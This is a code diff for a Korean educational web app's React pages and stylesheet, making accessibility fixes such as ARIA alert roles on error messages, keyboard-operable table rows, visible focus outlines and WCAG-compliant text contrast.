{saving ? '제출 중...' : submission ? '다시 제출하기' : '제출하기'}
|
||||
</button>
|
||||
|
||||
@ -117,7 +117,7 @@ export default function ChangePasswordPage() {
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
{error && <p className="error-text">{error}</p>}
|
||||
{error && <p className="error-text" role="alert">{error}</p>}
|
||||
<button className="btn btn-primary" type="submit" disabled={saving}>
|
||||
{saving ? '변경 중...' : '비밀번호 변경'}
|
||||
</button>
|
||||
|
||||
@ -78,7 +78,7 @@ export default function CodingPage() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{error && <p className="error-text">{error}</p>}
|
||||
{error && <p className="error-text" role="alert">{error}</p>}
|
||||
|
||||
<div className="coding-list">
|
||||
{problems.map((problem, index) => (
|
||||
|
||||
@ -272,9 +272,9 @@ export default function CodingProblemPage() {
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{runError && <p className="error-text">{runError}</p>}
|
||||
{runError && <p className="error-text" role="alert">{runError}</p>}
|
||||
{message && <p className="success-text">{message}</p>}
|
||||
{error && <p className="error-text">{error}</p>}
|
||||
{error && <p className="error-text" role="alert">{error}</p>}
|
||||
</div>
|
||||
|
||||
{/* SQL 문제: 실행 결과 표 vs 기대 결과 표 — 눈으로 비교하며 고칠 수 있게 */}
|
||||
|
||||
@ -58,7 +58,8 @@ export default function DocsPage() {
|
||||
<h2 className="section-title">{koreanTitle}</h2>
|
||||
<div className="grid-cards">
|
||||
{docs.map((doc) => (
|
||||
<Card key={doc.id} onClick={() => navigate(`/docs/${doc.slug}`)}>
|
||||
<Card key={doc.id} onClick={() => navigate(`/docs/${doc.slug}`)}
|
||||
ariaLabel={`${doc.title} 문서 열기`}>
|
||||
<div style={{ display: 'flex', gap: 6, marginBottom: 8 }}>
|
||||
<Badge value={doc.category} />
|
||||
{doc.week != null && (
|
||||
|
||||
@ -52,7 +52,7 @@ function FindIdTab() {
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
{error && <p className="error-text">{error}</p>}
|
||||
{error && <p className="error-text" role="alert">{error}</p>}
|
||||
<button
|
||||
className="btn btn-primary"
|
||||
type="submit"
|
||||
|
||||
@ -80,7 +80,7 @@ export default function LoginPage() {
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
{error && <p className="error-text">{error}</p>}
|
||||
{error && <p className="error-text" role="alert">{error}</p>}
|
||||
<button
|
||||
className="btn btn-primary"
|
||||
type="submit"
|
||||
|
||||
@ -108,7 +108,7 @@ function StudentProgressCard({ student }) {
|
||||
취소
|
||||
</button>
|
||||
</div>
|
||||
{resetError && <p className="error-text" style={{ fontSize: 12.5 }}>{resetError}</p>}
|
||||
{resetError && <p className="error-text" role="alert" style={{ fontSize: 12.5 }}>{resetError}</p>}
|
||||
{resetMessage && (
|
||||
<p style={{ color: 'var(--teal)', fontSize: 12.5, marginTop: 6 }}>{resetMessage}</p>
|
||||
)}
|
||||
@ -384,7 +384,7 @@ export default function MentorPage() {
|
||||
|
||||
{/* 일부 데이터 로딩 실패 시 — 빈 상태 문구와 구분되는 에러 안내 */}
|
||||
{loadError && (
|
||||
<p className="error-text" style={{ marginBottom: 14 }}>
|
||||
<p className="error-text" role="alert" style={{ marginBottom: 14 }}>
|
||||
일부 데이터를 불러오지 못했어요. 잠시 후 새로고침해 주세요.
|
||||
</p>
|
||||
)}
|
||||
@ -448,7 +448,22 @@ export default function MentorPage() {
|
||||
</thead>
|
||||
<tbody>
|
||||
{submissions.map((submission) => (
|
||||
<tr key={submission.id} onClick={() => selectRow(submission)}>
|
||||
// a11y: 행을 클릭해 상세를 여는데, 그냥 <tr onClick>은 키보드로 못 연다.
|
||||
// role=button + tabIndex + Enter/Space 핸들러로 버튼처럼 접근 가능하게 한다.
|
||||
<tr
|
||||
key={submission.id}
|
||||
onClick={() => selectRow(submission)}
|
||||
onKeyDown={(e) => {
|
||||
if (e.key === 'Enter' || e.key === ' ') {
|
||||
e.preventDefault();
|
||||
selectRow(submission);
|
||||
}
|
||||
}}
|
||||
role="button"
|
||||
tabIndex={0}
|
||||
aria-label={`${submission.studentName}의 ${submission.assignmentTitle} 제출물 열기`}
|
||||
style={{ cursor: 'pointer' }}
|
||||
>
|
||||
<td style={{ fontWeight: 600 }}>{submission.studentName}</td>
|
||||
<td>{submission.assignmentTitle}</td>
|
||||
<td className="muted">
|
||||
@ -509,7 +524,7 @@ export default function MentorPage() {
|
||||
placeholder="잘한 점과 다음에 시도해 볼 점을 구체적으로 적어 주세요."
|
||||
/>
|
||||
</div>
|
||||
{error && <p className="error-text">{error}</p>}
|
||||
{error && <p className="error-text" role="alert">{error}</p>}
|
||||
<button className="btn btn-primary" type="submit" disabled={saving}>
|
||||
{saving ? '저장 중...' : '피드백 저장'}
|
||||
</button>
|
||||
|
||||
@ -232,7 +232,7 @@ export default function MyProfilePage() {
|
||||
<Field label="관계 (예: 부, 모)" k="emergencyRelation" value={form.emergencyRelation} onChange={set} />
|
||||
<Field label="전화번호" k="emergencyPhone" placeholder="010-1234-5678" value={form.emergencyPhone} onChange={set} />
|
||||
|
||||
{error && <p className="error-text" style={{ marginTop: 10 }}>{error}</p>}
|
||||
{error && <p className="error-text" role="alert" style={{ marginTop: 10 }}>{error}</p>}
|
||||
{saved && <p style={{ color: 'var(--teal)', fontSize: 14, marginTop: 10 }}>{saved}</p>}
|
||||
|
||||
<button className="btn btn-primary" type="submit" disabled={saving}
|
||||
|
||||
@ -184,7 +184,7 @@ export default function QuizPage() {
|
||||
);
|
||||
})}
|
||||
|
||||
{error && <p className="error-text" style={{ marginTop: 12 }}>{error}</p>}
|
||||
{error && <p className="error-text" role="alert" style={{ marginTop: 12 }}>{error}</p>}
|
||||
|
||||
<div className="course-complete-bar" style={{ marginTop: 20 }}>
|
||||
<Link to={`/learn/${slug}`} className="btn btn-ghost">
|
||||
|
||||
@ -307,7 +307,7 @@ export default function SignupPage() {
|
||||
위 개인정보 수집·이용에 동의합니다. (필수)
|
||||
</label>
|
||||
|
||||
{error && <p className="error-text" style={{ marginTop: 10 }}>{error}</p>}
|
||||
{error && <p className="error-text" role="alert" style={{ marginTop: 10 }}>{error}</p>}
|
||||
<button className="btn btn-primary" type="submit" disabled={submitting}
|
||||
style={{ width: '100%', justifyContent: 'center', marginTop: 12 }}>
|
||||
{submitting ? '가입 중...' : '가입하기'}
|
||||
|
||||
@ -14,6 +14,10 @@
|
||||
--amber: #B9772A;
|
||||
--teal: #0E8C86;
|
||||
--rose: #B4463C;
|
||||
/* 배지 "글자"는 옅은 틴트 배경 위에 올라가므로, 배경용 색(--amber/--teal)보다
|
||||
더 진하게 따로 둔다 — 저시력 사용자 기준 4.5:1 대비 확보(WCAG 1.4.3). */
|
||||
--amber-text: #7A4D14;
|
||||
--teal-text: #0A615C;
|
||||
--radius: 14px;
|
||||
--shadow: 0 1px 3px rgba(16, 26, 40, 0.06), 0 4px 14px rgba(16, 26, 40, 0.05);
|
||||
--code-bg: #F1F4F9;
|
||||
@ -34,6 +38,9 @@
|
||||
--shadow: 0 1px 3px rgba(0, 0, 0, 0.35), 0 4px 14px rgba(0, 0, 0, 0.25);
|
||||
--code-bg: #161E28;
|
||||
--ink-faint: #74808F;
|
||||
/* 다크 모드에선 배경이 어두우므로 배지 글자는 반대로 밝게 둔다. */
|
||||
--amber-text: #E0A95F;
|
||||
--teal-text: #5FD0C6;
|
||||
}
|
||||
}
|
||||
|
||||
@ -235,6 +242,13 @@ a {
|
||||
border-color: var(--primary);
|
||||
}
|
||||
|
||||
/* 키보드로 카드에 포커스했을 때 위치를 분명히 보여준다(WCAG 2.4.7).
|
||||
:focus-visible = 마우스 클릭엔 안 뜨고 키보드 이동일 때만 뜬다. */
|
||||
.card-clickable:focus-visible {
|
||||
outline: 2px solid var(--primary);
|
||||
outline-offset: 2px;
|
||||
}
|
||||
|
||||
/* ---------- 버튼 ---------- */
|
||||
.btn {
|
||||
display: inline-flex;
|
||||
@ -347,8 +361,8 @@ a {
|
||||
}
|
||||
|
||||
.badge-primary { background: var(--primary-soft); color: var(--primary); }
|
||||
.badge-amber { background: color-mix(in srgb, var(--amber) 14%, transparent); color: var(--amber); }
|
||||
.badge-teal { background: color-mix(in srgb, var(--teal) 14%, transparent); color: var(--teal); }
|
||||
.badge-amber { background: color-mix(in srgb, var(--amber) 14%, transparent); color: var(--amber-text); }
|
||||
.badge-teal { background: color-mix(in srgb, var(--teal) 14%, transparent); color: var(--teal-text); }
|
||||
.badge-rose { background: color-mix(in srgb, var(--rose) 14%, transparent); color: var(--rose); }
|
||||
|
||||
/* ---------- 진행률 바 ---------- */
|
||||
@ -1042,7 +1056,9 @@ inline-code, .icode {
|
||||
}
|
||||
.coding-item__no {
|
||||
font-variant-numeric: tabular-nums;
|
||||
color: var(--ink-faint);
|
||||
/* --ink-faint(#7B8798)는 흰 배경 대비 3.65:1로 4.5:1 미달이었다.
|
||||
번호는 정보(문제 순서)이므로 대비가 충분한 --muted로 바꾼다. */
|
||||
color: var(--muted);
|
||||
font-weight: 700;
|
||||
}
|
||||
.coding-item__title {
|
||||
@ -1108,6 +1124,12 @@ inline-code, .icode {
|
||||
border-right: 1px solid var(--line);
|
||||
min-width: 42px;
|
||||
}
|
||||
/* 키보드로 코드 입력창에 들어왔을 때 테두리로 위치를 알린다(WCAG 2.4.7).
|
||||
textarea 자체의 outline은 껐으므로(아래) 부모에 focus-within으로 표시한다. */
|
||||
.code-editor:focus-within {
|
||||
outline: 2px solid var(--primary);
|
||||
outline-offset: 1px;
|
||||
}
|
||||
.code-editor__area {
|
||||
flex: 1;
|
||||
border: 0;
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user